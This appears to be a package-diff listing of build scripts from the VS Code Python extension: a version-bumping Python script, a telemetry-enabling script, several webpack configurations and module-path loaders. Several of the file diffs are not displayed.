| def micro_build_number() -> str: | ||
| """Generates the micro build number. | ||
| The format is `1<Julian day><hour><minute>`. | ||
| """ | ||
| return f"1{datetime.datetime.now(tz=datetime.timezone.utc).strftime('%j%H%M')}" | ||
| def parse_version(version: str) -> Tuple[str, str, str, str]: | ||
| """Parse a version string into a tuple of version parts.""" | ||
| major, minor, parts = version.split(".", maxsplit=2) | ||
| try: | ||
| micro, suffix = parts.split("-", maxsplit=1) | ||
| except ValueError: | ||
| micro = parts | ||
| suffix = "" | ||
| return major, minor, micro, suffix | ||
| def main(package_json: pathlib.Path, argv: Sequence[str]) -> None: | ||
| parser = build_arg_parse() | ||
| args = parser.parse_args(argv) | ||
| package = json.loads(package_json.read_text(encoding="utf-8")) | ||
| major, minor, micro, suffix = parse_version(package["version"]) | ||
| current_year = datetime.datetime.now().year | ||
| if int(major) != current_year: | ||
| raise ValueError( | ||
| f"Major version [{major}] must be the current year [{current_year}].", | ||
| f"If changing major version after new year's, change to {current_year}.1.0", | ||
| ) | ||
| if args.release and not is_even(minor): | ||
| raise ValueError( | ||
| f"Release version should have EVEN numbered minor version: {package['version']}" | ||
| ) | ||
| elif not args.release and is_even(minor): | ||
| raise ValueError( | ||
| f"Pre-Release version should have ODD numbered minor version: {package['version']}" | ||
| ) | ||
| print(f"Updating build FROM: {package['version']}") | ||
| if args.build_id: | ||
| # If build id is provided it should fall within the 0-INT32 max range | ||
| # that the max allowed value for publishing to the Marketplace. | ||
| if args.build_id < 0 or ( | ||
| args.for_publishing and args.build_id > ((2**32) - 1) | ||
| ): | ||
| raise ValueError(f"Build ID must be within [0, {(2**32) - 1}]") | ||
| package["version"] = ".".join((major, minor, str(args.build_id))) | ||
| elif args.release: | ||
| package["version"] = ".".join((major, minor, micro)) | ||
| else: | ||
| # micro version only updated for pre-release. | ||
| package["version"] = ".".join((major, minor, micro_build_number())) | ||
| if not args.for_publishing and not args.release and len(suffix): | ||
| package["version"] += "-" + suffix | ||
| print(f"Updating build TO: {package['version']}") | ||
| # Overwrite package.json with new data add a new-line at the end of the file. | ||
| package_json.write_text( | ||
| json.dumps(package, indent=4, ensure_ascii=False) + "\n", encoding="utf-8" | ||
| ) | ||
| if __name__ == "__main__": | ||
| main(PACKAGE_JSON_PATH, sys.argv[1:]) |
| # Copyright (c) Microsoft Corporation. All rights reserved. | ||
| # Licensed under the MIT License. | ||
| import json | ||
| import pathlib | ||
| EXT_ROOT = pathlib.Path(__file__).parent.parent | ||
| PACKAGE_JSON_PATH = EXT_ROOT / "package.json" | ||
| def main(package_json: pathlib.Path) -> None: | ||
| package = json.loads(package_json.read_text(encoding="utf-8")) | ||
| package["enableTelemetry"] = True | ||
| # Overwrite package.json with new data add a new-line at the end of the file. | ||
| package_json.write_text( | ||
| json.dumps(package, indent=4, ensure_ascii=False) + "\n", encoding="utf-8" | ||
| ) | ||
| if __name__ == "__main__": | ||
| main(PACKAGE_JSON_PATH) |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| 'use strict'; | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| exports.ExtensionRootDir = path.dirname(__dirname); | ||
| function getListOfFiles(filename) { | ||
| filename = path.normalize(filename); | ||
| if (!path.isAbsolute(filename)) { | ||
| filename = path.join(__dirname, filename); | ||
| } | ||
| const data = fs.readFileSync(filename).toString(); | ||
| const files = JSON.parse(data); | ||
| return files.map((file) => path.join(exports.ExtensionRootDir, file.replace(/\//g, path.sep))); | ||
| } | ||
| exports.getListOfFiles = getListOfFiles; |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| 'use strict'; | ||
| const glob = require('glob'); | ||
| const path = require('path'); | ||
| // eslint-disable-next-line camelcase | ||
| const webpack_bundle_analyzer = require('webpack-bundle-analyzer'); | ||
| const constants = require('../constants'); | ||
| exports.nodeModulesToExternalize = [ | ||
| 'unicode/category/Lu', | ||
| 'unicode/category/Ll', | ||
| 'unicode/category/Lt', | ||
| 'unicode/category/Lo', | ||
| 'unicode/category/Lm', | ||
| 'unicode/category/Nl', | ||
| 'unicode/category/Mn', | ||
| 'unicode/category/Mc', | ||
| 'unicode/category/Nd', | ||
| 'unicode/category/Pc', | ||
| 'source-map-support', | ||
| 'sudo-prompt', | ||
| 'node-stream-zip', | ||
| 'xml2js', | ||
| ]; | ||
| exports.nodeModulesToReplacePaths = [...exports.nodeModulesToExternalize]; | ||
| function getDefaultPlugins(name) { | ||
| const plugins = []; | ||
| // Only run the analyzer on a local machine or if required | ||
| if (!constants.isCI || process.env.VSC_PYTHON_FORCE_ANALYZER) { | ||
| plugins.push( | ||
| new webpack_bundle_analyzer.BundleAnalyzerPlugin({ | ||
| analyzerMode: 'static', | ||
| reportFilename: `${name}.analyzer.html`, | ||
| generateStatsFile: true, | ||
| statsFilename: `${name}.stats.json`, | ||
| openAnalyzer: false, // Open file manually if you want to see it :) | ||
| }), | ||
| ); | ||
| } | ||
| return plugins; | ||
| } | ||
| exports.getDefaultPlugins = getDefaultPlugins; | ||
| function getListOfExistingModulesInOutDir() { | ||
| const outDir = path.join(constants.ExtensionRootDir, 'out', 'client'); | ||
| const files = glob.sync('**/*.js', { sync: true, cwd: outDir }); | ||
| return files.map((filePath) => `./${filePath.slice(0, -3)}`); | ||
| } | ||
| exports.getListOfExistingModulesInOutDir = getListOfExistingModulesInOutDir; |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| const common = require('../common'); | ||
| function replaceModule(prefixRegex, prefix, contents, moduleName, quotes) { | ||
| const stringToSearch = `${prefixRegex}${quotes}${moduleName}${quotes}`; | ||
| const stringToReplaceWith = `${prefix}${quotes}./node_modules/${moduleName}${quotes}`; | ||
| return contents.replace(new RegExp(stringToSearch, 'gm'), stringToReplaceWith); | ||
| } | ||
| // eslint-disable-next-line camelcase | ||
| function default_1(source) { | ||
| common.nodeModulesToReplacePaths.forEach((moduleName) => { | ||
| if (source.indexOf(moduleName) > 0) { | ||
| source = replaceModule('import\\(', 'import(', source, moduleName, '"'); | ||
| source = replaceModule('import\\(', 'import(', source, moduleName, "'"); | ||
| source = replaceModule('require\\(', 'require(', source, moduleName, '"'); | ||
| source = replaceModule('require\\(', 'require(', source, moduleName, "'"); | ||
| source = replaceModule('from ', 'from ', source, moduleName, '"'); | ||
| source = replaceModule('from ', 'from ', source, moduleName, "'"); | ||
| } | ||
| }); | ||
| return source; | ||
| } | ||
| // eslint-disable-next-line camelcase | ||
| exports.default = default_1; |
| // For some reason this has to be in commonjs format | ||
| module.exports = function (source) { | ||
| // Just inline the source and fix up defaults so that they don't | ||
| // mess up the logic in the setOptions.js file | ||
| return `module.exports = ${source}\nmodule.exports.default = false`; | ||
| }; |
| // For some reason this has to be in commonjs format | ||
| module.exports = function (source) { | ||
| // Just inline the source and fix up defaults so that they don't | ||
| // mess up the logic in the setOptions.js file | ||
| return `module.exports = ${source}\nmodule.exports.default = false`; | ||
| }; |
| <!DOCTYPE html> | ||
| <html lang="en"> | ||
| <head> </head> | ||
| <body> | ||
| <a href="./index.nativeEditor.html">Click here to Open Native Editor</a><br /> | ||
| <a href="./index.interactiveWindow.html">Click here to Open Interactive Window</a> | ||
| </body> | ||
| </html> |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| // @ts-check | ||
| 'use strict'; | ||
| const path = require('path'); | ||
| const webpack = require('webpack'); | ||
| const NodePolyfillPlugin = require('node-polyfill-webpack-plugin'); | ||
| const packageRoot = path.resolve(__dirname, '..', '..'); | ||
| const outDir = path.resolve(packageRoot, 'dist'); | ||
| /** @type {(env: any, argv: { mode: 'production' | 'development' | 'none' }) => import('webpack').Configuration} */ | ||
| // eslint-disable-next-line @typescript-eslint/no-unused-vars | ||
| const nodeConfig = (_, { mode }) => ({ | ||
| context: packageRoot, | ||
| entry: { | ||
| extension: './src/client/browser/extension.ts', | ||
| }, | ||
| target: 'webworker', | ||
| output: { | ||
| filename: '[name].browser.js', | ||
| path: outDir, | ||
| libraryTarget: 'commonjs2', | ||
| devtoolModuleFilenameTemplate: '../../[resource-path]', | ||
| }, | ||
| devtool: 'source-map', | ||
| // stats: { | ||
| // all: false, | ||
| // errors: true, | ||
| // warnings: true, | ||
| // }, | ||
| resolve: { | ||
| extensions: ['.ts', '.js'], | ||
| fallback: { path: require.resolve('path-browserify') }, | ||
| }, | ||
| plugins: [ | ||
| new NodePolyfillPlugin(), | ||
| new webpack.optimize.LimitChunkCountPlugin({ | ||
| maxChunks: 1, | ||
| }), | ||
| ], | ||
| externals: { | ||
| vscode: 'commonjs vscode', | ||
| // These dependencies are ignored because we don't use them, and App Insights has try-catch protecting their loading if they don't exist | ||
| // See: https://github.com/microsoft/vscode-extension-telemetry/issues/41#issuecomment-598852991 | ||
| 'applicationinsights-native-metrics': 'commonjs applicationinsights-native-metrics', | ||
| '@opentelemetry/tracing': 'commonjs @opentelemetry/tracing', | ||
| }, | ||
| module: { | ||
| rules: [ | ||
| { | ||
| test: /\.ts$/, | ||
| loader: 'ts-loader', | ||
| options: { | ||
| configFile: 'tsconfig.browser.json', | ||
| }, | ||
| }, | ||
| { | ||
| test: /\.node$/, | ||
| loader: 'node-loader', | ||
| }, | ||
| ], | ||
| }, | ||
| // optimization: { | ||
| // usedExports: true, | ||
| // splitChunks: { | ||
| // cacheGroups: { | ||
| // defaultVendors: { | ||
| // name: 'vendor', | ||
| // test: /[\\/]node_modules[\\/]/, | ||
| // chunks: 'all', | ||
| // priority: -10, | ||
| // }, | ||
| // }, | ||
| // }, | ||
| // }, | ||
| }); | ||
| module.exports = nodeConfig; |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| 'use strict'; | ||
| const path = require('path'); | ||
| // eslint-disable-next-line camelcase | ||
| const tsconfig_paths_webpack_plugin = require('tsconfig-paths-webpack-plugin'); | ||
| const constants = require('../constants'); | ||
| const common = require('./common'); | ||
| const configFileName = path.join(constants.ExtensionRootDir, 'tsconfig.extension.json'); | ||
| // Some modules will be pre-genearted and stored in out/.. dir and they'll be referenced via | ||
| // NormalModuleReplacementPlugin. We need to ensure they do not get bundled into the output | ||
| // (as they are large). | ||
| const existingModulesInOutDir = common.getListOfExistingModulesInOutDir(); | ||
| const config = { | ||
| mode: 'production', | ||
| target: 'node', | ||
| entry: { | ||
| extension: './src/client/extension.ts', | ||
| 'shellExec.worker': './src/client/common/process/worker/shellExec.worker.ts', | ||
| 'plainExec.worker': './src/client/common/process/worker/plainExec.worker.ts', | ||
| 'registryKeys.worker': 'src/client/pythonEnvironments/common/registryKeys.worker.ts', | ||
| 'registryValues.worker': 'src/client/pythonEnvironments/common/registryValues.worker.ts', | ||
| }, | ||
| devtool: 'source-map', | ||
| node: { | ||
| __dirname: false, | ||
| }, | ||
| module: { | ||
| rules: [ | ||
| { | ||
| test: /\.ts$/, | ||
| use: [ | ||
| { | ||
| loader: path.join(__dirname, 'loaders', 'externalizeDependencies.js'), | ||
| }, | ||
| ], | ||
| }, | ||
| { | ||
| test: /\.ts$/, | ||
| exclude: /node_modules/, | ||
| use: [ | ||
| { | ||
| loader: 'ts-loader', | ||
| }, | ||
| ], | ||
| }, | ||
| { | ||
| test: /\.node$/, | ||
| use: [ | ||
| { | ||
| loader: 'node-loader', | ||
| }, | ||
| ], | ||
| }, | ||
| { | ||
| test: /\.worker\.js$/, | ||
| use: { loader: 'worker-loader' }, | ||
| }, | ||
| ], | ||
| }, | ||
| externals: [ | ||
| 'vscode', | ||
| 'commonjs', | ||
| ...existingModulesInOutDir, | ||
| // These dependencies are ignored because we don't use them, and App Insights has try-catch protecting their loading if they don't exist | ||
| // See: https://github.com/microsoft/vscode-extension-telemetry/issues/41#issuecomment-598852991 | ||
| 'applicationinsights-native-metrics', | ||
| '@opentelemetry/tracing', | ||
| '@azure/opentelemetry-instrumentation-azure-sdk', | ||
| '@opentelemetry/instrumentation', | ||
| '@azure/functions-core', | ||
| ], | ||
| plugins: [...common.getDefaultPlugins('extension')], | ||
| resolve: { | ||
| extensions: ['.ts', '.js'], | ||
| plugins: [new tsconfig_paths_webpack_plugin.TsconfigPathsPlugin({ configFile: configFileName })], | ||
| conditionNames: ['import', 'require', 'node'], | ||
| }, | ||
| output: { | ||
| filename: '[name].js', | ||
| path: path.resolve(constants.ExtensionRootDir, 'out', 'client'), | ||
| libraryTarget: 'commonjs2', | ||
| devtoolModuleFilenameTemplate: '../../[resource-path]', | ||
| }, | ||
| }; | ||
| exports.default = config; |
| // Copyright (c) Microsoft Corporation. All rights reserved. | ||
| // Licensed under the MIT License. | ||
| 'use strict'; | ||
| const copyWebpackPlugin = require('copy-webpack-plugin'); | ||
| const path = require('path'); | ||
| const constants = require('../constants'); | ||
| const common = require('./common'); | ||
| const entryItems = {}; | ||
| common.nodeModulesToExternalize.forEach((moduleName) => { | ||
| entryItems[`node_modules/${moduleName}`] = `./node_modules/${moduleName}`; | ||
| }); | ||
| const config = { | ||
| mode: 'production', | ||
| target: 'node', | ||
| context: constants.ExtensionRootDir, | ||
| entry: entryItems, | ||
| devtool: 'source-map', | ||
| node: { | ||
| __dirname: false, | ||
| }, | ||
| module: {}, | ||
| externals: ['vscode', 'commonjs'], | ||
| plugins: [ | ||
| ...common.getDefaultPlugins('dependencies'), | ||
| // vsls requires our package.json to be next to node_modules. It's how they | ||
| // 'find' the calling extension. | ||
| // eslint-disable-next-line new-cap | ||
| new copyWebpackPlugin({ patterns: [{ from: './package.json', to: '.' }] }), | ||
| ], | ||
| resolve: { | ||
| extensions: ['.js'], | ||
| }, | ||
| output: { | ||
| filename: '[name].js', | ||
| path: path.resolve(constants.ExtensionRootDir, 'out', 'client'), | ||
| libraryTarget: 'commonjs2', | ||
| devtoolModuleFilenameTemplate: '../../[resource-path]', | ||
| }, | ||
| }; | ||
| exports.default = config; |
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is not supported yet
Sorry, the diff of this file is too big to display
Sorry, the diff of this file is too big to display